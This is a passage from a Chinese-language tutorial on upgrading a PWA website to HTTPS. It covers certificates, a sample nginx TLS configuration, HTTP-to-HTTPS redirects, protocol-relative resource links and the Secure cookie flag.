&#x672C;&#x8EAB;&#x516C;&#x94A5;&#x7684;&#x4FE1;&#x4EFB;&#x951A;&#x5B58;&#x50A8;&#x5E93;&#x7EF4;&#x62A4;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#xFF08;&#x5982;&#x6D4F;&#x89C8;&#x5668;&#xFF09;&#x4E0A;&#xFF0C;&#x8FD9;&#x4E9B;&#x516C;&#x94A5;&#x88AB;&#x7528;&#x6765;&#x9A8C;&#x8BC1;&#x7AD9;&#x70B9;&#x8BC1;&#x4E66;&#x7684;&#x771F;&#x4F2A;&#x3002;CA &#x662F;&#x6570;&#x636E;&#x5B89;&#x5168;&#x548C; HTTPS &#x901A;&#x4FE1;&#x7684;&#x91CD;&#x8981;&#x7EC4;&#x6210;&#x90E8;&#x5206;&#x548C;&#x6838;&#x5FC3;&#x73AF;&#x8282;&#x3002;</p>\n<h3 id=\"&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\"><a name=\"&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; HTTPS &#x7684;&#x7406;&#x7531;</h3>\n<p>&#x4E86;&#x89E3;&#x4E86; HTTPS &#x7684;&#x57FA;&#x672C;&#x539F;&#x7406;&#x540E;&#xFF0C;&#x4E0D;&#x96BE;&#x770B;&#x51FA;&#xFF0C;HTTP &#x534F;&#x8BAE;&#x91C7;&#x7528;&#x660E;&#x6587;&#x4F20;&#x8F93;&#x4FE1;&#x606F;&#xFF0C;&#x5B58;&#x5728;&#x4FE1;&#x606F;&#x7A83;&#x542C;&#x3001;&#x4FE1;&#x606F;&#x7BE1;&#x6539;&#x548C;&#x4FE1;&#x606F;&#x52AB;&#x6301;&#x7684;&#x98CE;&#x9669;&#xFF0C;&#x4F7F;&#x7528; HTTPS &#x5BF9;&#x6211;&#x4EEC;&#x6784;&#x5EFA;&#x5B89;&#x5168;&#x53EF;&#x9760;&#x7684; PWA &#x7AD9;&#x70B9;&#x6709;&#x7740;&#x591A;&#x65B9;&#x9762;&#x7684;&#x6536;&#x76CA;&#x3002;</p>\n<p>&#x786E;&#x4FDD;&#x7AD9;&#x70B9;&#x5B89;&#x5168;&#x3002;HTTPS &#x7684;&#x901A;&#x4FE1;&#x4FE1;&#x606F;&#x90FD;&#x662F;&#x52A0;&#x5BC6;&#x4F20;&#x64AD;&#xFF0C;&#x7B2C;&#x4E09;&#x65B9;&#x65E0;&#x6CD5;&#x7A83;&#x542C;&#xFF0C;&#x4E14;&#x5177;&#x6709;&#x6821;&#x9A8C;&#x673A;&#x5236;&#xFF0C;&#x4E00;&#x65E6;&#x4FE1;&#x606F;&#x88AB;&#x7BE1;&#x6539;&#xFF0C;&#x901A;&#x4FE1;&#x53CC;&#x65B9;&#x5C31;&#x80FD;&#x7ACB;&#x523B;&#x53D1;&#x73B0;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x591F;&#x6709;&#x6548;&#x9632;&#x6B62;&#x5165;&#x4FB5;&#x8005;&#x7BE1;&#x6539;&#x7F51;&#x7EDC;&#x901A;&#x4FE1;&#x5185;&#x5BB9;&#x3002;&#x8FD9;&#x4E9B;&#x5165;&#x4FB5;&#x8005;&#x5305;&#x62EC;&#x4F46;&#x4E0D;&#x5C40;&#x9650;&#x4E8E;&#x6076;&#x610F;&#x653B;&#x51FB;&#x8005;&#xFF0C;&#x5408;&#x6CD5;&#x4F46;&#x6781;&#x5177;&#x5A01;&#x80C1;&#x7684;&#x7ADE;&#x4E89;&#x5BF9;&#x624B;&#xFF0C;&#x901A;&#x4FE1;&#x8FD0;&#x8425;&#x5546;&#x7B49;&#x7B49;&#x3002;&#x7279;&#x522B;&#x662F;&#x5728;&#x56FD;&#x5185;&#xFF0C;&#x8FD0;&#x8425;&#x5546;&#x52AB;&#x6301;&#x63D2;&#x5165;&#x5E7F;&#x544A;&#x4FE1;&#x606F;&#x7684;&#x73B0;&#x8C61;&#x65E9;&#x5DF2;&#x5C61;&#x89C1;&#x4E0D;&#x9C9C;&#xFF0C;&#x8FD9;&#x4E9B;&#x90FD;&#x80FD;&#x901A;&#x8FC7;&#x5347;&#x7EA7; HTTPS &#x6765;&#x89C4;&#x907F;&#x3002;</p>\n<p>&#x4FDD;&#x62A4;&#x7528;&#x6237;&#x9690;&#x79C1;&#x3002;&#x5E76;&#x4E0D;&#x53EA;&#x662F;&#x6D89;&#x53CA;&#x5230;&#x654F;&#x611F;&#x6570;&#x636E;&#x7684;&#x7F51;&#x7AD9;&#x624D;&#x9700;&#x8981;&#x5347;&#x7EA7; HTTPS&#xFF0C;&#x4E8B;&#x5B9E;&#x4E0A;&#x6BCF;&#x4E00;&#x4E2A;&#x4E0D;&#x53D7;&#x4FDD;&#x62A4;&#x7684; HTTP &#x8BF7;&#x6C42;&#x90FD;&#x6709;&#x66B4;&#x9732;&#x7528;&#x6237;&#x884C;&#x4E3A;&#x3001;&#x7528;&#x6237;&#x8EAB;&#x4EFD;&#x7684;&#x98CE;&#x9669;&#x3002;&#x867D;&#x7136;&#x8FD9;&#x4E9B;&#x5355;&#x4E2A;&#x8BF7;&#x6C42;&#x770B;&#x8D77;&#x6765;&#x6CA1;&#x6709;&#x4EC0;&#x4E48;&#x654F;&#x611F;&#x4FE1;&#x606F;&#xFF0C;&#x4F46;&#x653B;&#x51FB;&#x8005;&#x53EF;&#x4EE5;&#x957F;&#x671F;&#x76D1;&#x89C6;&#x7528;&#x6237;&#x7684;&#x6D4F;&#x89C8;&#x6D3B;&#x52A8;&#xFF0C;&#x901A;&#x8FC7;&#x6536;&#x96C6;&#x5927;&#x91CF;&#x6570;&#x636E;&#x63A8;&#x65AD;&#x7528;&#x6237;&#x7684;&#x884C;&#x4E3A;&#x3001;&#x5730;&#x7406;&#x4F4D;&#x7F6E;&#x3001;&#x751F;&#x6D3B;&#x4E60;&#x60EF;&#x7B49;&#xFF0C;&#x4ECE;&#x800C;&#x9020;&#x6210;&#x7528;&#x6237;&#x7684;&#x9690;&#x79C1;&#x4FE1;&#x606F;&#x6CC4;&#x9732;&#x3002;</p>\n<p>&#x672A;&#x6765;&#x7684;&#x8D8B;&#x52BF;&#x6240;&#x5728;&#x3002;&#x5C06; Web &#x5E94;&#x7528;&#x5347;&#x7EA7;&#x6210;&#x4E3A; HTTPS &#x662F;&#x5927;&#x52BF;&#x6240;&#x8D8B;&#xFF0C;HTTPS &#x53EF;&#x4EE5;&#x4FDD;&#x969C;&#x7AD9;&#x70B9;&#x7684;&#x5B89;&#x5168;&#x3001;&#x4FDD;&#x62A4;&#x7528;&#x6237;&#x7684;&#x9690;&#x79C1;&#x3002;&#x968F;&#x7740; Web &#x5E94;&#x7528;&#x5E73;&#x53F0;&#x7684;&#x591A;&#x5143;&#x5316;&#x53D1;&#x5C55;&#xFF0C;&#x62CD;&#x7167;&#x3001;&#x89C6;&#x9891;&#x7B49;&#x529F;&#x80FD;&#x90FD;&#x9700;&#x8981;&#x8F83;&#x9AD8;&#x7684;&#x7528;&#x6237;&#x6743;&#x9650;&#x8BB8;&#x53EF;&#xFF0C;&#x800C;&#x4F7F;&#x7528; Service Worker &#x542F;&#x7528;&#x79BB;&#x7EBF;&#x5E94;&#x7528;&#x529F;&#x80FD;&#x3001;&#x6784;&#x5EFA; PWA &#x7AD9;&#x70B9;&#x7B49;&#x5DF2;&#x7ECF;&#x5C06; HTTPS &#x89C6;&#x4E3A;&#x5FC5;&#x8981;&#x6761;&#x4EF6;&#x3002;Google &#x65E9;&#x5C31;&#x5021;&#x8BAE;&#x6240;&#x6709;&#x7684; Web &#x7AD9;&#x70B9;&#x90FD;&#x5E94;&#x8BE5;&#x4F7F;&#x7528; HTTPS&#xFF0C; &#x800C;&#x4E14;&#x5C06; HTTPS &#x7AD9;&#x70B9;&#x7684;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x6392;&#x540D;&#x6743;&#x91CD;&#x8FDB;&#x884C;&#x63D0;&#x5347;&#xFF0C;&#x60F3;&#x5FC5;&#x5728;&#x672A;&#x6765;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x4FC3;&#x8FDB;&#x7AD9;&#x957F;&#x5C06;&#x7AD9;&#x70B9;&#x8FDB;&#x884C; HTTPS &#x5316;&#x7684;&#x4E00;&#x4E2A;&#x91CD;&#x8981;&#x7406;&#x7531;&#x3002;</p>\n<h3 id=\"&#x5347;&#x7EA7;-https\"><a name=\"&#x5347;&#x7EA7;-https\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5347;&#x7EA7;-https\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5347;&#x7EA7;-https\" class=\"plugin-anchor\" href=\"#&#x5347;&#x7EA7;-https\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5347;&#x7EA7; HTTPS</h3>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x9762;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5BF9;&#x4E8E; HTTPS &#x7684;&#x6982;&#x5FF5;&#x548C;&#x4F5C;&#x7528;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x8DB3;&#x591F;&#x6E05;&#x695A;&#x4E86;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x4ECB;&#x7ECD;&#x4E0B;&#x5C06;&#x7AD9;&#x70B9;&#x5347;&#x7EA7;&#x6210; HTTPS &#x7684;&#x4E00;&#x822C;&#x6B65;&#x9AA4;&#x3002;</p>\n<p>1.&#x83B7;&#x53D6;&#x8BC1;&#x4E66;</p>\n<p>&#x524D;&#x9762;&#x63D0;&#x5230;&#x8FC7;&#xFF0C;HTTPS &#x662F;&#x7531;&#x8BC1;&#x4E66;&#x8BA4;&#x8BC1;&#x673A;&#x6784; CA &#x9881;&#x53D1;&#x7684;&#x3001;&#x5E76;&#x5305;&#x542B;&#x516C;&#x5F00;&#x5BC6;&#x94A5;&#x62E5;&#x6709;&#x8005;&#x4FE1;&#x606F;&#x3001;&#x516C;&#x5F00;&#x5BC6;&#x94A5;&#x3001;&#x7B7E;&#x53D1;&#x8005;&#x4FE1;&#x606F;&#x3001;&#x6709;&#x6548;&#x671F;&#x4EE5;&#x53CA;&#x4E00;&#x4E9B;&#x6269;&#x5C55;&#x4FE1;&#x606F;&#x3001;&#x80FD;&#x63D0;&#x4F9B;&#x5728;&#x4E92;&#x8054;&#x7F51;&#x4E0A;&#x8FDB;&#x884C;&#x8EAB;&#x4EFD;&#x9A8C;&#x8BC1;&#x7684;&#x4E00;&#x79CD;&#x6743;&#x5A01;&#x6027;&#x6570;&#x5B57;&#x6587;&#x4EF6;&#x3002;&#x8981;&#x4FDD;&#x8BC1;&#x6570;&#x5B57;&#x8BC1;&#x4E66;&#x7684;&#x771F;&#x5B9E;&#x6027;&#xFF0C;&#x5FC5;&#x987B;&#x786E;&#x4FDD;&#x8BE5;&#x6570;&#x5B57;&#x8BC1;&#x4E66;&#x662F;&#x7531;&#x5177;&#x6709;&#x6743;&#x5A01;&#x6027;&#x7684;&#x56FD;&#x9645; CA &#x4E2D;&#x5FC3;&#x7B7E;&#x53D1;&#x7684;&#xFF0C;&#x5982; Symantec &#x5C31;&#x662F;&#x8FD9;&#x6837;&#x4E00;&#x5BB6;&#x901A;&#x8FC7; Web Trust &#x8BA4;&#x8BC1;&#x7684;&#x56FD;&#x9645; CA&#x3002;&#x8D2D;&#x4E70; CA &#x9881;&#x53D1;&#x7684;&#x8BC1;&#x4E66;&#x6709;&#x5F88;&#x591A;&#x7C7B;&#x578B;&#xFF0C;&#x5206;&#x4E3A;&#x57DF;&#x540D;&#x8BA4;&#x8BC1;&#x3001;&#x516C;&#x53F8;&#x8BA4;&#x8BC1;&#x3001;&#x6269;&#x5C55;&#x8BA4;&#x8BC1;&#x4E09;&#x4E2A;&#x7EA7;&#x522B;&#xFF0C;&#x8FD8;&#x5206;&#x6210;&#x5355;&#x57DF;&#x540D;&#x3001;&#x901A;&#x914D;&#x7B26;&#x3001;&#x591A;&#x57DF;&#x540D;&#x4E09;&#x79CD;&#x8986;&#x76D6;&#x8303;&#x56F4;&#x3002;&#x8BA4;&#x8BC1;&#x7EA7;&#x522B;&#x8D8A;&#x9AD8;&#x3001;&#x8986;&#x76D6;&#x8303;&#x56F4;&#x8D8A;&#x5E7F;&#x7684;&#x8BC1;&#x4E66;&#xFF0C;&#x4EF7;&#x683C;&#x8D8A;&#x8D35;&#x3002;&#x5982;&#x4ECA;&#xFF0C;&#x56FD;&#x5185;&#x4E00;&#x4E9B;&#x4E91;&#x670D;&#x52A1;&#x4F9B;&#x5E94;&#x5546;&#x4E5F;&#x63D0;&#x4F9B;&#x4E86;&#x914D;&#x5957;&#x7684;&#x514D;&#x8D39;&#x6216;&#x6536;&#x8D39;&#x8BC1;&#x4E66;&#x670D;&#x52A1;&#xFF0C;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x7684;&#x7C7B;&#x578B;&#x5F88;&#x591A;&#x3002;</p>\n<p>2.&#x5728;&#x670D;&#x52A1;&#x5668;&#x5B89;&#x88C5;&#x8BC1;&#x4E66;</p>\n<p>&#x6839;&#x636E; Web &#x670D;&#x52A1;&#x5668;&#x7684;&#x7C7B;&#x578B;&#x4E0D;&#x540C;&#xFF0C;&#x8BC1;&#x4E66;&#x5206;&#x4E3A;&#x591A;&#x79CD;&#xFF0C;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x8981;&#x4E0B;&#x8F7D;&#x5BF9;&#x5E94;&#x7684;&#x8BC1;&#x4E66;&#x6587;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x9009;&#x62E9;&#x5BF9;&#x5E94;&#x7684;&#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x914D;&#x7F6E;&#x5373;&#x53EF;&#xFF0C;<a href=\"https://www.w3.org/TR/CSP/\" target=\"_blank\">Mozilla &#x4FBF;&#x6377;&#x7684;&#x914D;&#x7F6E;&#x751F;&#x6210;&#x5668;</a>&#xFF0C;&#x5217;&#x4E3E;&#x4E86;&#x5E38;&#x89C1;&#x670D;&#x52A1;&#x5668;&#x7684;&#x914D;&#x7F6E;&#x65B9;&#x5F0F;&#xFF0C;&#x5BF9;&#x6211;&#x4EEC;&#x914D;&#x7F6E;&#x8BC1;&#x4E66;&#x5F88;&#x6709;&#x5E2E;&#x52A9;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x4EE5; Nginx &#x670D;&#x52A1;&#x5668;&#x7684;&#x914D;&#x7F6E;&#x793A;&#x4F8B;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-nginx\"><span class=\"token keyword\">server</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">listen</span> <span class=\"token number\">443</span> <span class=\"token keyword\">ssl</span> http2<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">listen</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span><span class=\"token number\">443</span> <span class=\"token keyword\">ssl</span> http2<span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\"># certs sent to the client in SERVER HELLO are concatenated in ssl_certificate</span>\n    <span class=\"token keyword\">ssl_certificate</span> <span class=\"token operator\">/</span>path<span class=\"token operator\">/</span>to<span class=\"token operator\">/</span>signed_cert_plus_intermediates<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_certificate_key</span> <span class=\"token operator\">/</span>path<span class=\"token operator\">/</span>to<span class=\"token operator\">/</span>private_key<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_session_timeout</span> <span class=\"token number\">1</span>d<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_session_cache</span> shared<span class=\"token punctuation\">:</span><span class=\"token keyword\">SSL</span><span class=\"token punctuation\">:</span><span class=\"token number\">50</span>m<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_session_tickets</span> off<span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\"># Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits</span>\n    <span class=\"token keyword\">ssl_dhparam</span> <span class=\"token operator\">/</span>path<span class=\"token operator\">/</span>to<span class=\"token operator\">/</span>dhparam<span class=\"token punctuation\">.</span>pem<span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\"># intermediate configuration. tweak to your needs.</span>\n    <span class=\"token keyword\">ssl_protocols</span> TLSv1 TLSv1<span class=\"token punctuation\">.</span><span class=\"token number\">1</span> TLSv1<span class=\"token punctuation\">.</span><span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_ciphers</span> <span class=\"token string\">&apos;ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS&apos;</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_prefer_server_ciphers</span> on<span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\"># HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)</span>\n    <span class=\"token keyword\">add_header</span> Strict<span class=\"token operator\">-</span>Transport<span class=\"token operator\">-</span>Security max<span class=\"token operator\">-</span>age<span class=\"token operator\">=</span><span class=\"token number\">15768000</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\"># OCSP Stapling ---</span>\n    <span class=\"token comment\"># fetch OCSP records from URL in ssl_certificate and cache them</span>\n    <span class=\"token keyword\">ssl_stapling</span> on<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">ssl_stapling_verify</span> on<span class=\"token punctuation\">;</span>\n\n    <span class=\"token comment\">## verify chain of trust of OCSP response using Root CA and Intermediate certs</span>\n    <span class=\"token keyword\">ssl_trusted_certificate</span> <span class=\"token operator\">/</span>path<span class=\"token operator\">/</span>to<span class=\"token operator\">/</span>root_CA_cert_plus_intermediates<span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">resolver</span> <span class=\"token operator\">&lt;</span>IP DNS <span class=\"token keyword\">resolver</span><span class=\"token operator\">&gt;</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>3.&#x91CD;&#x5B9A;&#x5411;&#x914D;&#x7F6E;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5C06; HTTP &#x7684;&#x8BBF;&#x95EE;&#x8BF7;&#x6C42; 301 &#x5230; HTTPS</p>\n<pre class=\"language-\"><code class=\"lang-nginx\"><span class=\"token keyword\">server</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">listen</span> <span class=\"token number\">80</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">server_name</span> domain<span class=\"token punctuation\">.</span>com www<span class=\"token punctuation\">.</span>domain<span class=\"token punctuation\">.</span>com<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">301</span> <span class=\"token keyword\">https</span><span class=\"token punctuation\">:</span><span class=\"token operator\">/</span><span class=\"token operator\">/</span>domain<span class=\"token punctuation\">.</span>com<span class=\"token variable\">$request_uri</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>4.&#x4FEE;&#x6539;&#x8D44;&#x6E90;&#x94FE;&#x63A5;</p>\n<p>&#x5C06;&#x7AD9;&#x70B9;&#x6240;&#x6709;&#x7684; HTTP &#x8D44;&#x6E90;&#x5730;&#x5740;&#x66FF;&#x6362;&#x6210; HTTPS&#xFF0C;&#x4E00;&#x4E2A;&#x6BD4;&#x8F83;&#x597D;&#x7684;&#x65B9;&#x6CD5;&#x662F;&#x76F4;&#x63A5;&#x5C06;&#x534F;&#x8BAE;&#x5934;&#x66FF;&#x6362;&#x6210; <code>//</code>&#xFF0C;&#x8FD9;&#x6837;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x81EA;&#x52A8;&#x6839;&#x636E;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x534F;&#x8BAE;&#x52A0;&#x8F7D;&#x76F8;&#x540C;&#x534F;&#x8BAE;&#x5934;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x66F4;&#x4E3A;&#x7075;&#x6D3B;&#x3002;&#x4F8B;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://a.com/jquery.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x6539;&#x4E3A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>//a.com/jquery.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x4FEE;&#x6539;&#x4E0D;&#x5B8C;&#x5168;&#xFF0C;HTTPS &#x8D44;&#x6E90;&#x548C; HTTP &#x8D44;&#x6E90;&#x6DF7;&#x5408;&#x51FA;&#x73B0;&#xFF0C;&#x5373;&#x9875;&#x9762;&#x5305;&#x542B;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C06;&#x8B66;&#x544A;&#x7528;&#x6237;&#x5DF2;&#x5931;&#x53BB; HTTPS &#x7684;&#x5168;&#x90E8;&#x80FD;&#x529B;&#xFF08;&#x76F4;&#x89C2;&#x7684;&#x770B;&#xFF0C;&#x5730;&#x5740;&#x680F; HTTPS &#x7684;&#x6807;&#x8BC6;&#x5C06;&#x5904;&#x4E8E;&#x5931;&#x6548;&#x72B6;&#x6001;&#xFF09;&#x3002;&#x4E8B;&#x5B9E;&#x4E0A;&#xFF0C;&#x5982;&#x679C;&#x662F;&#x4E3B;&#x52A8;&#x6DF7;&#x5408;&#x5185;&#x5BB9;&#xFF08;&#x811A;&#x672C;&#x3001;&#x63D2;&#x4EF6;&#x3001;CSS&#x3001;iframe&#xFF09;&#xFF0C;&#x5219;&#x6D4F;&#x89C8;&#x5668;&#x901A;&#x5E38;&#x6839;&#x672C;&#x4E0D;&#x4F1A;&#x52A0;&#x8F7D;&#x6216;&#x6267;&#x884C;&#x6B64;&#x5185;&#x5BB9;&#xFF0C;&#x4ECE;&#x800C;&#x5BFC;&#x81F4;&#x9875;&#x9762;&#x6B8B;&#x7F3A;&#x3002;</p>\n<p>5.&#x53EF;&#x4EE5;&#x8FDB;&#x4E00;&#x6B65;&#x4FDD;&#x8BC1;&#x5B89;&#x5168;&#xFF1A;&#x8BBE;&#x7F6E; Cookie &#x5B89;&#x5168;&#x6807;&#x8BB0;</p>\n<p>&#x5982;&#x679C;&#x7528;&#x6237;&#x7684;&#x8EAB;&#x4EFD;&#x9A8C;&#x8BC1; Cookie &#x5728;&#x660E;&#x6587;&#x4E2D;&#x66B4;&#x9732;&#xFF0C;&#x5219;&#x6574;&#x4E2A;&#x4F1A;&#x8BDD;&#x7684;&#x5B89;&#x5168;&#x4FDD;&#x969C;&#x5C06;&#x88AB;&#x7834;&#x574F;&#xFF0C;&#x56E0;&#x6B64;&#xFF0C;&#x5E94;&#x8BE5;&#x786E;&#x4FDD;&#x6D4F;&#x89C8;&#x5668;&#x53EA;&#x5728;&#x4F7F;&#x7528; HTTPS &#x65F6;&#xFF0C;&#x624D;&#x53D1;&#x9001; Cookie&#x3002;</p>\n<p>&#x5728;&#x7F51;&#x7AD9;&#x54CD;&#x5E94;&#x5934;&#x91CC;&#x9762;&#xFF0C;<code>Set-Cookie</code> &#x5B57;&#x6BB5;&#x52A0;&#x4E0A; Secure &#x6807;&#x5FD7;&#x5373;&#x53EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Set-Cookie:</span> LSID=DQAAAK...Eaem_vYg; Secure\n</code></pre>\n<p>&#x5B8C;&#x6210;&#x4EE5;&#x4E0A;&#x8BBE;&#x7F6E;&#xFF0C;&#x91CD;&#x542F;&#x670D;&#x52A1;&#x5668;&#xFF0C;HTTPS &#x5C31;&#x751F;&#x6548;&#x4E86;&#x3002;&#x8FC1;&#x79FB;&#x6210;&#x4E3A; HTTPS &#x540E;&#xFF0C;&#x4E5F;&#x4E0D;&#x5FC5;&#x8FC7;&#x5206;&#x62C5;&#x5FC3;&#x989D;&#x5916;&#x7684;&#x6027;&#x80FD;&#x5F00;&#x9500;&#x95EE;&#x9898;&#x3002;HTTPS &#x548C; HTTP &#x76F8;&#x6BD4;&#xFF0C;&#x5728; TCP &#x4E09;&#x6B21;&#x63E1;&#x624B;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#xFF0C;&#x591A;&#x4E86;&#x4E00;&#x4E2A; SSL &#x63E1;&#x624B;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x901A;&#x4FE1;&#x548C;&#x52A0;&#x5BC6;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x65F6;&#x95F4;&#x635F;&#x8017;&#x3002;&#x800C;&#x5728;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x548C;&#x5E94;&#x7528;&#x5C42;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x5F97;&#x5F53;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x540C;&#x65F6;&#x5E94;&#x7528;&#x5B89;&#x5168;&#x53C8;&#x5F97;&#x5230;&#x4E86;&#x4FDD;&#x969C;&#xFF0C;&#x603B;&#x4F53;&#x7684;&#x6536;&#x76CA;&#x4E00;&#x5B9A;&#x662F;&#x79EF;&#x6781;&#x548C;&#x6B63;&#x5411;&#x7684;&#x3002;</p>\n<h3 id=\"&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><a name=\"&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\" class=\"plugin-anchor\" href=\"#&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x907F;&#x514D; HTTPS &#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</h3>\n<p>&#x524D;&#x9762;&#x5347;&#x7EA7; HTTPS 